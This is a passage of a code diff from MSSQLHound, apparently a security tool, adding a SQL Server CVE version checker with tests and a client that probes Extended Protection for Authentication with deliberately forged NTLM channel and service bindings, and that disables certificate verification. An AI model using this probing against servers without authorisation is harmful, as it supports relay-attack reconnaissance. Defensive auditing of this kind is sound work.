+ result.RequiredVersion = "13.0.6300.2 (SQL 2016 SP3)"
+ return result
+ }
+
+ // Check against each security update
+ for _, update := range CVE202549758Updates {
+ // Check if version is in the affected range
+ if sqlVersion.GreaterThanOrEqual(update.MinAffected) && sqlVersion.LessThanOrEqual(update.MaxAffected) {
+ // Version is in affected range - check if patched
+ if sqlVersion.GreaterThanOrEqual(update.PatchedAt) {
+ result.IsPatched = true
+ result.UpdateName = update.Name
+ result.KB = update.KB
+ result.RequiredVersion = update.PatchedAt.String()
+ } else {
+ result.IsVulnerable = true
+ result.UpdateName = update.Name
+ result.KB = update.KB
+ result.RequiredVersion = update.PatchedAt.String()
+ }
+ return result
+ }
+ }
+
+ // Version not in any known affected range - assume patched (newer version)
+ result.IsPatched = true
+ return result
+}
+
+// IsVulnerableToCVE202549758 is a convenience function that returns true if the server is vulnerable
+func IsVulnerableToCVE202549758(versionNumber string, fullVersion string) bool {
+ result := CheckCVE202549758(versionNumber, fullVersion)
+ if result == nil {
+ // Unable to determine - assume not vulnerable to reduce false positives
+ return false
+ }
+ return result.IsVulnerable
+}
+
+// IsPatchedForCVE202549758 is a convenience function that returns true if the server is patched
+func IsPatchedForCVE202549758(versionNumber string, fullVersion string) bool {
+ result := CheckCVE202549758(versionNumber, fullVersion)
+ if result == nil {
+ // Unable to determine - assume patched to reduce false positives
+ return true
+ }
+ return result.IsPatched
+}
diff --git a/go/internal/collector/cve_test.go b/go/internal/collector/cve_test.go
new file mode 100644
index 0000000..8624a4f
--- /dev/null
+++ b/go/internal/collector/cve_test.go
@@ -0,0 +1,267 @@
+package collector
+
+import (
+ "testing"
+)
+
+func TestParseSQLVersion(t *testing.T) {
+ tests := []struct {
+ name string
+ input string
+ expected *SQLVersion
+ wantError bool
+ }{
+ {
+ name: "SQL Server 2019 full version",
+ input: "15.0.4435.7",
+ expected: &SQLVersion{15, 0, 4435, 7},
+ },
+ {
+ name: "SQL Server 2022 version",
+ input: "16.0.4210.1",
+ expected: &SQLVersion{16, 0, 4210, 1},
+ },
+ {
+ name: "Short version",
+ input: "15.0.4435",
+ expected: &SQLVersion{15, 0, 4435, 0},
+ },
+ {
+ name: "Two part version",
+ input: "15.0",
+ expected: &SQLVersion{15, 0, 0, 0},
+ },
+ {
+ name: "Empty string",
+ input: "",
+ wantError: true,
+ },
+ {
+ name: "Invalid version",
+ input: "invalid",
+ wantError: true,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result, err := ParseSQLVersion(tt.input)
+ if tt.wantError {
+ if err == nil {
+ t.Errorf("Expected error but got none")
+ }
+ return
+ }
+ if err != nil {
+ t.Errorf("Unexpected error: %v", err)
+ return
+ }
+ if result.Major != tt.expected.Major || result.Minor != tt.expected.Minor ||
+ result.Build != tt.expected.Build || result.Revision != tt.expected.Revision {
+ t.Errorf("Expected %v but got %v", tt.expected, result)
+ }
+ })
+ }
+}
+
+func TestSQLVersionCompare(t *testing.T) {
+ tests := []struct {
+ name string
+ v1 SQLVersion
+ v2 SQLVersion
+ expected int
+ }{
+ {
+ name: "Equal versions",
+ v1: SQLVersion{15, 0, 4435, 7},
+ v2: SQLVersion{15, 0, 4435, 7},
+ expected: 0,
+ },
+ {
+ name: "v1 less than v2 (major)",
+ v1: SQLVersion{14, 0, 0, 0},
+ v2: SQLVersion{15, 0, 0, 0},
+ expected: -1,
+ },
+ {
+ name: "v1 greater than v2 (minor)",
+ v1: SQLVersion{15, 1, 0, 0},
+ v2: SQLVersion{15, 0, 0, 0},
+ expected: 1,
+ },
+ {
+ name: "v1 less than v2 (build)",
+ v1: SQLVersion{15, 0, 4435, 0},
+ v2: SQLVersion{15, 0, 4440, 0},
+ expected: -1,
+ },
+ {
+ name: "v1 greater than v2 (revision)",
+ v1: SQLVersion{15, 0, 4435, 8},
+ v2: SQLVersion{15, 0, 4435, 7},
+ expected: 1,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result := tt.v1.Compare(tt.v2)
+ if result != tt.expected {
+ t.Errorf("Expected %d but got %d", tt.expected, result)
+ }
+ })
+ }
+}
+
+func TestCheckCVE202549758(t *testing.T) {
+ tests := []struct {
+ name string
+ versionNumber string
+ fullVersion string
+ isVulnerable bool
+ isPatched bool
+ }{
+ {
+ name: "SQL 2019 vulnerable version",
+ versionNumber: "15.0.4435.7",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2019 patched version",
+ versionNumber: "15.0.4440.1",
+ isVulnerable: false,
+ isPatched: true,
+ },
+ {
+ name: "SQL 2022 vulnerable version",
+ versionNumber: "16.0.4205.1",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2022 patched version",
+ versionNumber: "16.0.4210.1",
+ isVulnerable: false,
+ isPatched: true,
+ },
+ {
+ name: "SQL 2017 vulnerable version",
+ versionNumber: "14.0.3495.9",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2016 vulnerable version",
+ versionNumber: "13.0.6460.7",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "SQL 2014 (pre-2016) - vulnerable",
+ versionNumber: "12.0.5000.0",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "Full @@VERSION string",
+ fullVersion: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)",
+ isVulnerable: true,
+ isPatched: false,
+ },
+ {
+ name: "Newer version not in affected ranges (assume patched)",
+ versionNumber: "16.0.5000.0",
+ isVulnerable: false,
+ isPatched: true,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result := CheckCVE202549758(tt.versionNumber, tt.fullVersion)
+ if result == nil {
+ t.Error("Expected result but got nil")
+ return
+ }
+ if result.IsVulnerable != tt.isVulnerable {
+ t.Errorf("IsVulnerable: expected %v but got %v", tt.isVulnerable, result.IsVulnerable)
+ }
+ if result.IsPatched != tt.isPatched {
+ t.Errorf("IsPatched: expected %v but got %v", tt.isPatched, result.IsPatched)
+ }
+ })
+ }
+}
+
+func TestIsVulnerableToCVE202549758(t *testing.T) {
+ // Vulnerable version
+ if !IsVulnerableToCVE202549758("15.0.4435.7", "") {
+ t.Error("Expected 15.0.4435.7 to be vulnerable")
+ }
+
+ // Patched version
+ if IsVulnerableToCVE202549758("15.0.4440.1", "") {
+ t.Error("Expected 15.0.4440.1 to not be vulnerable")
+ }
+
+ // Empty version - should return false (assume not vulnerable)
+ if IsVulnerableToCVE202549758("", "") {
+ t.Error("Expected empty version to return false (not vulnerable)")
+ }
+}
+
+func TestIsPatchedForCVE202549758(t *testing.T) {
+ // Patched version
+ if !IsPatchedForCVE202549758("15.0.4440.1", "") {
+ t.Error("Expected 15.0.4440.1 to be patched")
+ }
+
+ // Vulnerable version
+ if IsPatchedForCVE202549758("15.0.4435.7", "") {
+ t.Error("Expected 15.0.4435.7 to not be patched")
+ }
+
+ // Empty version - should return true (assume patched to reduce false positives)
+ if !IsPatchedForCVE202549758("", "") {
+ t.Error("Expected empty version to return true (assume patched)")
+ }
+}
+
+func TestExtractVersionFromFullVersion(t *testing.T) {
+ tests := []struct {
+ name string
+ input string
+ expected string
+ }{
+ {
+ name: "Standard @@VERSION output",
+ input: "Microsoft SQL Server 2019 (RTM-CU32) (KB5029378) - 15.0.4435.7 (X64)",
+ expected: "15.0.4435.7",
+ },
+ {
+ name: "SQL 2022 @@VERSION",
+ input: "Microsoft SQL Server 2022 (RTM-CU20-GDR) - 16.0.4210.1 (X64)",
+ expected: "16.0.4210.1",
+ },
+ {
+ name: "Three part version",
+ input: "Microsoft SQL Server 2019 - 15.0.4435",
+ expected: "15.0.4435",
+ },
+ {
+ name: "No version found",
+ input: "Invalid string",
+ expected: "",
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ result := ExtractVersionFromFullVersion(tt.input)
+ if result != tt.expected {
+ t.Errorf("Expected %q but got %q", tt.expected, result)
+ }
+ })
+ }
+}
diff --git a/go/internal/mssql/client.go b/go/internal/mssql/client.go
new file mode 100644
index 0000000..65923d4
--- /dev/null
+++ b/go/internal/mssql/client.go
@@ -0,0 +1,2767 @@
+// Package mssql provides SQL Server connection and data collection functionality.
+package mssql
+
+import (
+ "context"
+ "database/sql"
+ "encoding/binary"
+ "encoding/hex"
+ "fmt"
+ "net"
+ "sort"
+ "strconv"
+ "strings"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+ mssqldb "github.com/microsoft/go-mssqldb"
+ "github.com/microsoft/go-mssqldb/msdsn"
+)
+
+// convertHexSIDToString converts a hex SID (like "0x0105000000...") to standard SID format (like "S-1-5-21-...")
+// This matches the PowerShell ConvertTo-SecurityIdentifier function behavior
+func convertHexSIDToString(hexSID string) string {
+ if hexSID == "" || hexSID == "0x" || hexSID == "0x01" {
+ return ""
+ }
+
+ // Remove "0x" prefix if present
+ if strings.HasPrefix(strings.ToLower(hexSID), "0x") {
+ hexSID = hexSID[2:]
+ }
+
+ // Decode hex string to bytes
+ bytes, err := hex.DecodeString(hexSID)
+ if err != nil || len(bytes) < 8 {
+ return ""
+ }
+
+ // Validate SID structure (first byte must be 1 for revision)
+ if bytes[0] != 1 {
+ return ""
+ }
+
+ // Parse SID structure:
+ // bytes[0] = revision (always 1)
+ // bytes[1] = number of sub-authorities
+ // bytes[2:8] = identifier authority (6 bytes, big-endian)
+ // bytes[8:] = sub-authorities (4 bytes each, little-endian)
+
+ revision := bytes[0]
+ subAuthCount := int(bytes[1])
+
+ // Validate length
+ expectedLen := 8 + (subAuthCount * 4)
+ if len(bytes) < expectedLen {
+ return ""
+ }
+
+ // Get identifier authority (6 bytes, big-endian)
+ // Usually 5 for NT Authority (S-1-5-...)
+ var authority uint64
+ for i := 0; i < 6; i++ {
+ authority = (authority << 8) | uint64(bytes[2+i])
+ }
+
+ // Build SID string
+ var sb strings.Builder
+ sb.WriteString(fmt.Sprintf("S-%d-%d", revision, authority))
+
+ // Parse sub-authorities (4 bytes each, little-endian)
+ for i := 0; i < subAuthCount; i++ {
+ offset := 8 + (i * 4)
+ subAuth := binary.LittleEndian.Uint32(bytes[offset : offset+4])
+ sb.WriteString(fmt.Sprintf("-%d", subAuth))
+ }
+
+ return sb.String()
+}
+
+// Client handles SQL Server connections and data collection
+type Client struct {
+ db *sql.DB
+ serverInstance string
+ hostname string
+ port int
+ instanceName string
+ userID string
+ password string
+ domain string // Domain for NTLM authentication (needed for EPA testing)
+ ldapUser string // LDAP user (DOMAIN\user or user@domain) for EPA testing
+ ldapPassword string // LDAP password for EPA testing
+ useWindowsAuth bool
+ verbose bool
+ encrypt bool // Whether to use encryption
+ usePowerShell bool // Whether using PowerShell fallback
+ psClient *PowerShellClient // PowerShell client for fallback
+ collectFromLinkedServers bool // Whether to collect from linked servers
+}
+
+// NewClient creates a new SQL Server client
+func NewClient(serverInstance, userID, password string) *Client {
+ hostname, port, instanceName := parseServerInstance(serverInstance)
+
+ return &Client{
+ serverInstance: serverInstance,
+ hostname: hostname,
+ port: port,
+ instanceName: instanceName,
+ userID: userID,
+ password: password,
+ useWindowsAuth: userID == "" && password == "",
+ }
+}
+
+// parseServerInstance parses server instance formats:
+// - hostname
+// - hostname:port
+// - hostname\instance
+// - hostname\instance:port
+func parseServerInstance(instance string) (hostname string, port int, instanceName string) {
+ port = 1433 // default
+
+ // Remove any SPN prefix (MSSQLSvc/)
+ if strings.HasPrefix(strings.ToUpper(instance), "MSSQLSVC/") {
+ instance = instance[9:]
+ }
+
+ // Check for instance name (backslash)
+ if idx := strings.Index(instance, "\\"); idx != -1 {
+ hostname = instance[:idx]
+ rest := instance[idx+1:]
+
+ // Check if instance name has port
+ if colonIdx := strings.Index(rest, ":"); colonIdx != -1 {
+ instanceName = rest[:colonIdx]
+ if p, err := strconv.Atoi(rest[colonIdx+1:]); err == nil {
+ port = p
+ }
+ } else {
+ instanceName = rest
+ port = 0 // Will use SQL Browser
+ }
+ } else if idx := strings.Index(instance, ":"); idx != -1 {
+ // hostname:port format
+ hostname = instance[:idx]
+ if p, err := strconv.Atoi(instance[idx+1:]); err == nil {
+ port = p
+ }
+ } else {
+ hostname = instance
+ }
+
+ return
+}
+
+// Connect establishes a connection to the SQL Server
+// It tries multiple connection strategies to maximize compatibility.
+// If go-mssqldb fails with the "untrusted domain" error, it will automatically
+// fall back to using PowerShell with System.Data.SqlClient which handles
+// some SSPI edge cases that go-mssqldb cannot.
+func (c *Client) Connect(ctx context.Context) error {
+ // First try native go-mssqldb connection
+ err := c.connectNative(ctx)
+ if err == nil {
+ return nil
+ }
+
+ // Check if this is the "untrusted domain" error that PowerShell can handle
+ if IsUntrustedDomainError(err) && c.useWindowsAuth {
+ c.logVerbose("Native connection failed with untrusted domain error, trying PowerShell fallback...")
+ // Try PowerShell fallback
+ psErr := c.connectPowerShell(ctx)
+ if psErr == nil {
+ c.logVerbose("PowerShell fallback succeeded")
+ return nil
+ }
+ // Both methods failed - return combined error for clarity
+ c.logVerbose("PowerShell fallback also failed: %v", psErr)
+ return fmt.Errorf("all connection methods failed (native: %v, PowerShell: %v)", err, psErr)
+ }
+
+ return err
+}
+
+// connectNative tries to connect using go-mssqldb
+func (c *Client) connectNative(ctx context.Context) error {
+ // Connection strategies to try in order
+ // NOTE: Some servers with specific SSPI configurations may fail to connect from Go
+ // even though PowerShell/System.Data.SqlClient works. This is a known limitation
+ // of the go-mssqldb driver's Windows SSPI implementation.
+
+ // Get short hostname for some strategies
+ shortHostname := c.hostname
+ if idx := strings.Index(c.hostname, "."); idx != -1 {
+ shortHostname = c.hostname[:idx]
+ }
+
+ type connStrategy struct {
+ name string
+ serverName string // The server name to use in connection string
+ encrypt string // "false", "true", or "strict"
+ useServerSPN bool
+ spnHost string // Host to use in SPN
+ }
+
+ strategies := []connStrategy{
+ // Try FQDN with encryption (most common)
+ {"FQDN+encrypt", c.hostname, "true", false, ""},
+ // Try TDS 8.0 strict encryption (for servers enforcing strict)
+ {"FQDN+strict", c.hostname, "strict", false, ""},
+ // Try with explicit SPN
+ {"FQDN+encrypt+SPN", c.hostname, "true", true, c.hostname},
+ // Try without encryption
+ {"FQDN+no-encrypt", c.hostname, "false", false, ""},
+ // Try short hostname
+ {"short+encrypt", shortHostname, "true", false, ""},
+ {"short+strict", shortHostname, "strict", false, ""},
+ {"short+no-encrypt", shortHostname, "false", false, ""},
+ }
+
+ var lastErr error
+ for _, strategy := range strategies {
+ connStr := c.buildConnectionStringForStrategy(strategy.serverName, strategy.encrypt, strategy.useServerSPN, strategy.spnHost)
+ c.logVerbose("Trying connection strategy '%s': %s", strategy.name, connStr)
+
+ var db *sql.DB
+ var err error
+
+ if strategy.encrypt == "strict" {
+ // For strict encryption (TDS 8.0), go-mssqldb forces certificate
+ // validation regardless of TrustServerCertificate. Use NewConnectorConfig
+ // to override TLS settings so we can connect to servers with self-signed certs.
+ db, err = openStrictDB(connStr)
+ } else {
+ db, err = sql.Open("sqlserver", connStr)
+ }
+ if err != nil {
+ lastErr = err
+ c.logVerbose(" Strategy '%s' failed to open: %v", strategy.name, err)
+ continue
+ }
+
+ // Test the connection with a short timeout
+ pingCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
+ err = db.PingContext(pingCtx)
+ cancel()
+
+ if err != nil {
+ db.Close()
+ lastErr = err
+ c.logVerbose(" Strategy '%s' failed to connect: %v", strategy.name, err)
+ continue
+ }
+
+ c.logVerbose(" Strategy '%s' succeeded!", strategy.name)
+ c.db = db
+ return nil
+ }
+
+ return fmt.Errorf("all connection strategies failed, last error: %w", lastErr)
+}
+
+// openStrictDB creates a *sql.DB for TDS 8.0 strict encryption with certificate
+// validation disabled. go-mssqldb forces TrustServerCertificate=false in strict
+// mode, so we parse the config and override InsecureSkipVerify via NewConnectorConfig.
+func openStrictDB(connStr string) (*sql.DB, error) {
+ config, err := msdsn.Parse(connStr)
+ if err != nil {
+ return nil, err
+ }
+ if config.TLSConfig != nil {
+ config.TLSConfig.InsecureSkipVerify = true //nolint:gosec // security tool needs to connect to any server
+ }
+ connector := mssqldb.NewConnectorConfig(config)
+ return sql.OpenDB(connector), nil
+}
+
+// connectPowerShell connects using PowerShell and System.Data.SqlClient
+func (c *Client) connectPowerShell(ctx context.Context) error {
+ c.psClient = NewPowerShellClient(c.serverInstance, c.userID, c.password)
+ c.psClient.SetVerbose(c.verbose)
+
+ err := c.psClient.TestConnection(ctx)
+ if err != nil {
+ c.psClient = nil
+ return err
+ }
+
+ c.usePowerShell = true
+ return nil
+}
+
+// UsingPowerShell returns true if the client is using the PowerShell fallback
+func (c *Client) UsingPowerShell() bool {
+ return c.usePowerShell
+}
+
+// executeQuery is a unified query interface that works with both native and PowerShell modes
+// It returns the results as []QueryResult, which can be processed uniformly
+func (c *Client) executeQuery(ctx context.Context, query string) ([]QueryResult, error) {
+ if c.usePowerShell {
+ response, err := c.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ return response.Rows, nil
+ }
+
+ // Native mode - use c.db
+ rows, err := c.DBW().QueryContext(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+
+ columns, err := rows.Columns()
+ if err != nil {
+ return nil, err
+ }
+
+ var results []QueryResult
+ for rows.Next() {
+ // Create slice of interface{} to hold row values
+ values := make([]interface{}, len(columns))
+ valuePtrs := make([]interface{}, len(columns))
+ for i := range values {
+ valuePtrs[i] = &values[i]
+ }
+
+ if err := rows.Scan(valuePtrs...); err != nil {
+ return nil, err
+ }
+
+ // Convert to QueryResult
+ row := make(QueryResult)
+ for i, col := range columns {
+ val := values[i]
+ // Convert []byte to string for easier handling
+ if b, ok := val.([]byte); ok {
+ row[col] = string(b)
+ } else {
+ row[col] = val
+ }
+ }
+ results = append(results, row)
+ }
+
+ return results, rows.Err()
+}
+
+// executeQueryRow executes a query and returns a single row
+func (c *Client) executeQueryRow(ctx context.Context, query string) (QueryResult, error) {
+ results, err := c.executeQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ if len(results) == 0 {
+ return nil, sql.ErrNoRows
+ }
+ return results[0], nil
+}
+
+// DB returns the underlying database connection (nil in PowerShell mode)
+// This is used for methods that need direct database access
+func (c *Client) DB() *sql.DB {
+ return c.db
+}
+
+// DBW returns a database wrapper that works with both native and PowerShell modes
+// Use this for query methods to ensure compatibility with PowerShell fallback
+func (c *Client) DBW() *DBWrapper {
+ return NewDBWrapper(c.db, c.psClient, c.usePowerShell)
+}
+
+// buildConnectionStringForStrategy creates the connection string for a specific strategy
+func (c *Client) buildConnectionStringForStrategy(serverName, encrypt string, useServerSPN bool, spnHost string) string {
+ var parts []string
+
+ parts = append(parts, fmt.Sprintf("server=%s", serverName))
+
+ if c.port > 0 {
+ parts = append(parts, fmt.Sprintf("port=%d", c.port))
+ }
+
+ if c.instanceName != "" {
+ parts = append(parts, fmt.Sprintf("instance=%s", c.instanceName))
+ }
+
+ if c.useWindowsAuth {
+ // Use Windows integrated auth
+ parts = append(parts, "trusted_connection=yes")
+
+ // Optionally set ServerSPN using the provided spnHost (could be FQDN or short name)
+ if useServerSPN && spnHost != "" {
+ if c.instanceName != "" && c.instanceName != "MSSQLSERVER" {
+ parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%s", spnHost, c.instanceName))
+ } else if c.port > 0 {
+ parts = append(parts, fmt.Sprintf("ServerSPN=MSSQLSvc/%s:%d", spnHost, c.port))
+ }
+ }
+ } else {
+ parts = append(parts, fmt.Sprintf("user id=%s", c.userID))
+ parts = append(parts, fmt.Sprintf("password=%s", c.password))
+ }
+
+ // Handle encryption setting - supports "false", "true", "strict", "disable"
+ parts = append(parts, fmt.Sprintf("encrypt=%s", encrypt))
+ parts = append(parts, "TrustServerCertificate=true")
+ parts = append(parts, "app name=MSSQLHound")
+
+ return strings.Join(parts, ";")
+}
+
+// buildConnectionString creates the connection string for go-mssqldb (uses default options)
+func (c *Client) buildConnectionString() string {
+ encrypt := "true"
+ if !c.encrypt {
+ encrypt = "false"
+ }
+ return c.buildConnectionStringForStrategy(c.hostname, encrypt, true, c.hostname)
+}
+
+// SetVerbose enables or disables verbose logging
+func (c *Client) SetVerbose(verbose bool) {
+ c.verbose = verbose
+}
+
+func (c *Client) SetCollectFromLinkedServers(collect bool) {
+ c.collectFromLinkedServers = collect
+}
+
+// SetDomain sets the domain for NTLM authentication (needed for EPA testing)
+func (c *Client) SetDomain(domain string) {
+ c.domain = domain
+}
+
+// SetLDAPCredentials sets the LDAP credentials used for EPA testing.
+// The ldapUser can be in DOMAIN\user or user@domain format.
+func (c *Client) SetLDAPCredentials(ldapUser, ldapPassword string) {
+ c.ldapUser = ldapUser
+ c.ldapPassword = ldapPassword
+}
+
+// logVerbose logs a message only if verbose mode is enabled
+func (c *Client) logVerbose(format string, args ...interface{}) {
+ if c.verbose {
+ fmt.Printf(format+"\n", args...)
+ }
+}
+
+// EPATestResult holds the results of EPA connection testing
+type EPATestResult struct {
+ UnmodifiedSuccess bool
+ NoSBSuccess bool
+ NoCBTSuccess bool
+ ForceEncryption bool
+ StrictEncryption bool
+ EncryptionFlag byte
+ EPAStatus string
+}
+
+// TestEPA performs Extended Protection for Authentication testing using raw
+// TDS+TLS+NTLM connections with controllable Channel Binding and Service Binding.
+// This matches the approach used in the Python reference implementation
+// (MssqlExtended.py / MssqlInformer.py).
+//
+// For encrypted connections (ENCRYPT_REQ): tests channel binding manipulation
+// For unencrypted connections (ENCRYPT_OFF): tests service binding manipulation
+func (c *Client) TestEPA(ctx context.Context) (*EPATestResult, error) {
+ result := &EPATestResult{}
+
+ // EPA testing requires LDAP/domain credentials for NTLM authentication.
+ // These are separate from the SQL auth credentials (-u/-p).
+ if c.ldapUser == "" || c.ldapPassword == "" {
+ return nil, fmt.Errorf("EPA testing requires LDAP credentials (--ldap-user and --ldap-password)")
+ }
+
+ // Parse domain and username from LDAP user (DOMAIN\user or user@domain format)
+ epaDomain, epaUsername := parseLDAPUser(c.ldapUser, c.domain)
+ if epaDomain == "" {
+ return nil, fmt.Errorf("EPA testing requires a domain (from --ldap-user DOMAIN\\user or --domain)")
+ }
+
+ c.logVerbose("EPA credentials: domain=%q, username=%q", epaDomain, epaUsername)
+
+ // Resolve port if needed
+ port := c.port
+ if port == 0 && c.instanceName != "" {
+ resolvedPort, err := c.resolveInstancePort(ctx)
+ if err != nil {
+ return nil, fmt.Errorf("failed to resolve instance port: %w", err)
+ }
+ port = resolvedPort
+ }
+ if port == 0 {
+ port = 1433
+ }
+
+ c.logVerbose("Testing EPA settings for %s", c.serverInstance)
+
+ // Build a base config using LDAP credentials
+ baseConfig := func(mode EPATestMode) *EPATestConfig {
+ return &EPATestConfig{
+ Hostname: c.hostname, Port: port, InstanceName: c.instanceName,
+ Domain: epaDomain, Username: epaUsername, Password: c.ldapPassword,
+ TestMode: mode, Verbose: c.verbose,
+ }
+ }
+
+ // Step 1: Detect encryption mode and run prerequisite check
+ c.logVerbose(" Running prerequisite check with normal login...")
+ prereqResult, encFlag, err := runEPATest(ctx, baseConfig(EPATestNormal))
+ if err != nil {
+ // The normal TDS 7.x PRELOGIN failed. This may indicate the server
+ // enforces TDS 8.0 strict encryption (TLS before any TDS messages).
+ c.logVerbose(" Normal PRELOGIN failed (%v), trying TDS 8.0 strict encryption flow...", err)
+ _, strictErr := runEPATestStrict(ctx, baseConfig(EPATestNormal))
+ if strictErr != nil {
+ return nil, fmt.Errorf("EPA prereq check failed (tried normal and TDS 8.0 strict): normal=%w, strict=%v", err, strictErr)
+ }
+ // TDS 8.0 strict encryption confirmed.
+ // In strict mode we cannot determine Force Encryption or EPA enforcement
+ // via NTLM AV_PAIR manipulation — additional research is required.
+ result.EncryptionFlag = encryptStrict
+ result.StrictEncryption = true
+ result.EPAStatus = "Unknown"
+ c.logVerbose(" Server uses TDS 8.0 strict encryption")
+ c.logVerbose(" Encryption flag: 0x%02X", encryptStrict)
+ c.logVerbose(" Strict Encryption (TDS 8.0): Yes")
+ c.logVerbose(" Force Encryption: No")
+ c.logVerbose(" Extended Protection: Force Strict Encryption without Force Encryption requires additional research to determine (Off/Allowed/Required)")
+ return result, nil
+ }
+
+ result.EncryptionFlag = encFlag
+ result.ForceEncryption = encFlag == encryptReq
+
+ c.logVerbose(" Encryption flag: 0x%02X", encFlag)
+ c.logVerbose(" Force Encryption: %s", boolToYesNo(result.ForceEncryption))
+
+ // Prereq must succeed or produce "login failed" (valid credentials response)
+ if !prereqResult.Success && !prereqResult.IsLoginFailed {
+ if prereqResult.IsUntrustedDomain {
+ return nil, fmt.Errorf("EPA prereq check failed: credentials rejected (untrusted domain)")
+ }
+ return nil, fmt.Errorf("EPA prereq check failed: unexpected response: %s", prereqResult.ErrorMessage)
+ }
+ result.UnmodifiedSuccess = prereqResult.Success
+ c.logVerbose(" Unmodified connection: %s", boolToSuccessFail(prereqResult.Success))
+
+ // Step 2: Test based on encryption setting (matching Python mssql.py flow)
+ if encFlag == encryptReq {
+ // Encrypted path: test channel binding (matching Python lines 57-78)
+ c.logVerbose(" Conducting logins while manipulating channel binding av pair over encrypted connection")
+
+ // Test with bogus CBT
+ bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusCBT))
+ if err != nil {
+ return nil, fmt.Errorf("EPA bogus CBT test failed: %w", err)
+ }
+
+ if bogusResult.IsUntrustedDomain {
+ // Bogus CBT rejected - EPA is enforcing channel binding
+ // Test with missing CBT to distinguish Allowed vs Required
+ missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingCBT))
+ if err != nil {
+ return nil, fmt.Errorf("EPA missing CBT test failed: %w", err)
+ }
+
+ result.NoCBTSuccess = missingResult.Success || missingResult.IsLoginFailed
+ if missingResult.IsUntrustedDomain {
+ result.EPAStatus = "Required"
+ c.logVerbose(" Extended Protection: Required (channel binding)")
+ } else {
+ result.EPAStatus = "Allowed"
+ c.logVerbose(" Extended Protection: Allowed (channel binding)")
+ }
+ } else {
+ // Bogus CBT accepted - EPA is Off
+ result.NoCBTSuccess = true
+ result.EPAStatus = "Off"
+ c.logVerbose(" Extended Protection: Off")
+ }
+
+ } else if encFlag == encryptOff || encFlag == encryptOn {
+ // Unencrypted/optional path: test service binding (matching Python lines 80-103)
+ c.logVerbose(" Conducting logins while manipulating target service av pair over unencrypted connection")
+
+ // Test with bogus service
+ bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusService))
+ if err != nil {
+ return nil, fmt.Errorf("EPA bogus service test failed: %w", err)
+ }
+
+ if bogusResult.IsUntrustedDomain {
+ // Bogus service rejected - EPA is enforcing service binding
+ // Test with missing service to distinguish Allowed vs Required
+ missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingService))
+ if err != nil {
+ return nil, fmt.Errorf("EPA missing service test failed: %w", err)
+ }
+
+ result.NoSBSuccess = missingResult.Success || missingResult.IsLoginFailed
+ if missingResult.IsUntrustedDomain {
+ result.EPAStatus = "Required"
+ c.logVerbose(" Extended Protection: Required (service binding)")
+ } else {
+ result.EPAStatus = "Allowed"
+ c.logVerbose(" Extended Protection: Allowed (service binding)")
+ }
+ } else {
+ // Bogus service accepted - EPA is Off
+ result.NoSBSuccess = true
+ result.EPAStatus = "Off"
+ c.logVerbose(" Extended Protection: Off")
+ }
+ } else {
+ result.EPAStatus = "Unknown"
+ c.logVerbose(" Extended Protection: Unknown (unsupported encryption flag 0x%02X)", encFlag)
+ }
+
+ return result, nil
+}
+
+// parseLDAPUser parses an LDAP user string in DOMAIN\user or user@domain format,
+// returning the domain and username separately. If no domain is found in the user
+// string, fallbackDomain is used.
+func parseLDAPUser(ldapUser, fallbackDomain string) (domain, username string) {
+ if strings.Contains(ldapUser, "\\") {
+ parts := strings.SplitN(ldapUser, "\\", 2)
+ return parts[0], parts[1]
+ }
+ if strings.Contains(ldapUser, "@") {
+ parts := strings.SplitN(ldapUser, "@", 2)
+ return parts[1], parts[0]
+ }
+ return fallbackDomain, ldapUser
+}
+
+// preloginResult holds the result of a PRELOGIN exchange
+type preloginResult struct {
+ encryptionFlag byte
+ encryptionDesc string
+ forceEncryption bool
+}
+
+// sendPrelogin sends a TDS PRELOGIN packet and parses the response
+func (c *Client) sendPrelogin(ctx context.Context) (*preloginResult, error) {
+ // Resolve the actual port if using named instance
+ port := c.port
+ if port == 0 && c.instanceName != "" {
+ // Try to resolve via SQL Browser
+ resolvedPort, err := c.resolveInstancePort(ctx)
+ if err != nil {
+ return nil, fmt.Errorf("failed to resolve instance port: %w", err)
+ }
+ port = resolvedPort
+ }
+ if port == 0 {
+ port = 1433 // Default SQL Server port
+ }
+
+ // Connect via TCP
+ addr := fmt.Sprintf("%s:%d", c.hostname, port)
+ dialer := &net.Dialer{Timeout: 10 * time.Second}
+ conn, err := dialer.DialContext(ctx, "tcp", addr)
+ if err != nil {
+ return nil, fmt.Errorf("TCP connection failed: %w", err)
+ }
+ defer conn.Close()
+
+ // Set deadline
+ conn.SetDeadline(time.Now().Add(10 * time.Second))
+
+ // Build PRELOGIN packet
+ preloginPacket := buildPreloginPacket()
+
+ // Wrap in TDS packet header
+ tdsPacket := buildTDSPacket(0x12, preloginPacket) // 0x12 = PRELOGIN
+
+ // Send PRELOGIN
+ if _, err := conn.Write(tdsPacket); err != nil {
+ return nil, fmt.Errorf("failed to send PRELOGIN: %w", err)
+ }
+
+ // Read response
+ response := make([]byte, 4096)
+ n, err := conn.Read(response)
+ if err != nil {
+ return nil, fmt.Errorf("failed to read PRELOGIN response: %w", err)
+ }
+
+ // Parse response
+ return parsePreloginResponse(response[:n])
+}
+
